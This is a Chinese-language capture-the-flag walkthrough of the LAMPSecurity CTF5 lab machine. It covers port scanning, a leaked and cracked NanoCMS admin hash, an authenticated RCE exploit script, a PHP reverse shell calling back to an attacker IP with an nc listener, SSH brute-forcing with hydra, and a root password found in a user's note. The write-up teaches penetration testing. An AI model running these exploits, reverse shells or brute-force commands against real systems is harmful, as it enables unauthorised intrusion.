LAMPSecurity: CTF5
来自 <https://www.vulnhub.com/entry/lampsecurity-ctf5,84/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.139
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.139
端口 |
状态 |
服务名称 |
版本信息 |
核心风险点与说明 |
22 |
开放 |
SSH |
OpenSSH 4.7(Protocol 2.0) |
高危:2007 年发布的版本,存在多个漏洞(如 CVE-2008-1483、CVE-2016-10012),可被暴力破解或远程代码执行 |
25 |
开放 |
SMTP |
Sendmail 8.14.1/8.14.1 |
中高危:2007 年版本,存在邮件中继滥用、缓冲区溢出漏洞(如 CVE-2006-0058),可能被用于发送垃圾邮件 |
80 |
开放 |
HTTP |
Apache httpd 2.2.6(Fedora) |
高危:2007 年版本,存在多个远程代码执行漏洞(如 CVE-2011-3192、CVE-2007-6750),且网页标题显示为 “Phake Organization”(可能为测试 / 模拟组织,需关注网页内容是否有敏感信息) |
110 |
开放 |
POP3 |
ipop3d 2006k.101 |
高危:2006 年版本,支持 STLS(SSL 加密),但 SSL 证书已过期(2010 年到期),数据传输可能被中间人劫持;且存在弱口令风险 |
111 |
开放 |
rpcbind |
2-4 版本(RPC 服务) |
中危:RPC 绑定服务,用于映射 RPC 服务端口,若未限制访问,可能被利用获取系统进程信息(如结合rpcinfo枚举服务);关联端口 55280(status 服务)、32768(UDP 状态服务) |
139/445 |
开放 |
NetBIOS/SMB |
Samba 3.0.26a-6.fc8(工作组:MYGROUP) |
极高危:2008 年发布的 Samba 版本,存在永恒之蓝类漏洞(如 CVE-2007-2447、CVE-2008-4210),可远程执行代码;且 SMB 安全模式显示 “message_signing: disabled”(未启用消息签名,易被中间人攻击)、“account_used: guest”(支持匿名 guest 访问,可能泄露共享文件) |
143 |
开放 |
IMAP |
University of Washington IMAPd 2006k.396 |
高危:2006 年版本,SSL 证书过期(2010 年到期),数据传输不安全;支持 SASL-IR 认证,若存在弱口令可被登录窃取邮件 |
901 |
开放 |
HTTP(Samba SWAT) |
Samba SWAT 管理界面 |
高危:Samba 网页管理端,需 Basic 认证(弹出 “401 Authorization Required”),但 SWAT 在老旧 Samba 版本中存在认证绕过漏洞(如 CVE-2003-0961),若弱口令可直接控制 SMB 服务 |
3306 |
开放 |
MySQL |
MySQL 5.0.45 |
高危:2007 年版本,存在远程代码执行(CVE-2008-2079)、权限绕过(CVE-2012-2122)漏洞;支持 “Speaks41ProtocolNew”,若 root 用户弱口令,可直接获取数据库控制权 |
55280 |
开放 |
status |
RPC #100024(status 服务) |
低危:RPC 状态服务,用于返回 RPC 服务状态,无直接漏洞,但可辅助枚举系统信息 |
4,访问80端口开设的http服务
什么都没有,再扫描其子目录看看
gobuster dir -u http://192.168.23.139/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
http://192.168.23.139/mail/src/login.php
http://192.168.23.139/phpmyadmin/
http://192.168.23.139/squirrelmail/src/login.php
5,网站推测是NanoCMS搭建的
whatweb -v http://192.168.23.139/~andy/
检索这个CMS的相关漏洞
searchsploit NanoCMS
查看一下脚本怎么利用
searchsploit -m 50997.py
NanoCMS v0.4 已认证远程代码执行 (RCE)
一、脚本功能概述
该脚本用于利用 NanoCMS v0.4 的认证后远程代码执行(RCE)漏洞。其核心原理是:NanoCMS 对认证用户创建网页时的输入数据未做安全过滤,且页面默认以 .php 扩展名保存,因此攻击者可通过上传包含恶意代码的 PHP 文件,获取目标系统的执行权限。
二、脚本参数详解
脚本通过命令行参数接收配置,分为必选参数和可选参数,具体如下:
参数分类 |
参数 |
说明 |
必选参数 |
address |
目标 NanoCMS 服务器的完整地址(含协议、IP / 域名、端口、子目录,例如 http://192.168.1.100:8080/nanocms/) |
file |
本地要上传的 PHP 恶意文件(如反向 shell 脚本,例如 rev_shell.php) |
|
可选参数 |
-u/--user |
登录 NanoCMS 的用户名(默认值:admin) |
-p/--passwd |
登录 NanoCMS 的密码(默认值:demo) |
|
-e/--execute |
上传后自动请求该 PHP 文件(触发反向 shell 时常用) |
|
-a/--accessible |
关闭可能影响屏幕阅读器的输出功能(简化显示) |
|
-n/--no-colour |
移除终端输出的彩色显示(纯文本输出) |
三、使用前提条件
- 目标系统:运行 NanoCMS v0.4 的服务器(需确认版本匹配)。
- 认证凭证:拥有目标 NanoCMS 的有效登录账号(默认 admin/demo,若目标修改过需对应调整)。
- 恶意文件:准备一个 PHP 反向 shell 或命令执行脚本(如经典的 <?php system($_GET['cmd']);?> 或 msfvenom 生成的反向 shell)。
- 网络连通性:攻击机可访问目标服务器的 web 端口(通常为 80/443)。
四、使用步骤
1. 准备 PHP 恶意文件
创建或生成一个 PHP 反向 shell 文件(以 rev_shell.php 为例),内容示例(需替换攻击机 IP 和端口):
<?php
$sock=fsockopen("10.0.0.1",4444);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
2. 执行脚本上传并触发漏洞
根据需求选择参数组合,基本命令格式:
python3 50997.py [目标地址] [本地PHP文件] [可选参数]
五、典型使用示例
示例 1:基础上传(默认账号密码)
python3 50997.py http://192.168.1.100/ rev_shell.php
- 功能:使用默认账号 admin/ 密码 demo 登录目标 http://192.168.1.100/,上传 rev_shell.php。
- 输出:上传成功后会显示文件保存路径(如 http://192.168.1.100/data/pages/[随机名].php)。
示例 2:指定账号密码并自动触发反向 shell
python3 50997.py http://10.10.10.10:8080/ shell.php -u test -p test123 -e
- 功能:使用账号 test/ 密码 test123 登录,上传 shell.php,并自动访问该文件(触发反向连接)。
- 注意:需提前在攻击机上监听对应端口(如 nc -lvp 4444)。
示例 3:无彩色输出(适合脚本自动化)
python3 50997.py https://target.com/nanocms/ cmd.php -n
- 功能:上传 cmd.php 到 https://target.com/nanocms/,终端输出无彩色标记。
六、脚本工作流程解析
- 参数解析:读取命令行参数,初始化终端输出配置(彩色 / 简化显示)。
- 地址检查:自动在目标地址末尾添加 /(避免 URL 拼接错误)。
- 生成随机文件名:为上传的 PHP 文件生成随机名称(避免与现有文件冲突)。
- 登录验证:通过 POST 请求提交账号密码,验证是否能成功登录 NanoCMS 管理后台。
- 文件上传:登录后,通过 “添加页面” 功能将本地 PHP 文件内容作为页面内容提交,保存为 .php 文件(路径:data/pages/[随机名].php)。
- 触发执行(可选):若使用 -e 参数,脚本会自动发送 GET 请求访问上传的 PHP 文件,执行其中的恶意代码。
七、常见错误与解决办法
- 登录失败:提示 “could sign in with ...”
- 解决:确认目标 NanoCMS 的用户名密码(非默认时需用 -u 和 -p 指定)。
- 文件未找到:提示 “[PHP 文件] could not be found”
- 解决:检查本地 PHP 文件路径是否正确(使用绝对路径更可靠)。
- 连接超时 / 失败:提示 “could not connect to ...”
- 解决:确认目标地址是否可达(端口是否开放、防火墙是否拦截)。
- 上传后文件 404:提示 “file could not be found”
- 可能原因:目标系统有防护(如 WAF 拦截),或 NanoCMS 路径与脚本预期不符(需手动确认页面保存路径)。
八、注意事项
- 合法性:仅在授权场景下使用,未经允许测试可能违反法律。
- 版本匹配:该脚本仅针对 NanoCMS v0.4,其他版本可能不适用。
- 反向 shell 准备:使用 -e 参数前,需提前在攻击机启动监听(如 nc -lvp 端口)。
- 凭证获取:若默认账号密码(admin/demo)失效,需通过其他方式获取目标系统的登录凭证。
6,需要已知的凭据,再看这个CMS是否存在其他漏洞。存在一个漏洞:Nanocms '/data/pagesdata.txt' 密码哈希信息泄露漏洞,在路径/data/pagesdata.txt可能存在凭据泄露
http://192.168.23.139/~andy/data/pagesdata.txt
用户名是admin,密码的哈希值是9d2f75377ac0ab991d40c91fd27e52fd。hash-identifier确认一下是哪种hash值
https://hashes.com/en/decrypt/hash
得到明文密码shannon
7,在尝试跑脚本进行漏洞利用,注意上传的脚本是kali自带的反弹shell木马
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
mousepad shell.php
python3 50997.py http://192.168.23.139/~andy shell.php -u admin -p shdannon -e
与此同时kali打开对4444端口监听
nc -lvvp 4444
python -c 'import pty;pty.spawn("/bin/bash")'
8,信息收集一下
id
uname -a
lsb_release -a
ls /home
得知存在5个用户,尝试爆破出其他用户的账户密码
gunzip /usr/share/wordlists/rockyou.txt.gz
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt.gz 192.168.23.139 ssh -vV -f
- 靶机只支持旧的 ssh-rsa、ssh-dss 签名算法。
- 你的 Kali(新版本 OpenSSH)默认已经禁用了这些老旧算法。
- 所以 Hydra 在尝试连接时根本没法建立 SSH 握手。
Hydra 新版对老算法兼容性差,可以用 Medusa 或 Ncrack
成功得到amy用户的密码是dolphins,切换成功
9,尝试提权sudo -l失败
mail阅读邮件
得知patrick是管理员,查看其文件夹下内容
ls -la /home/patrick
ls -la /home/patrick/.tomboy
cat /home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note
root密码就是50$cent
提权成功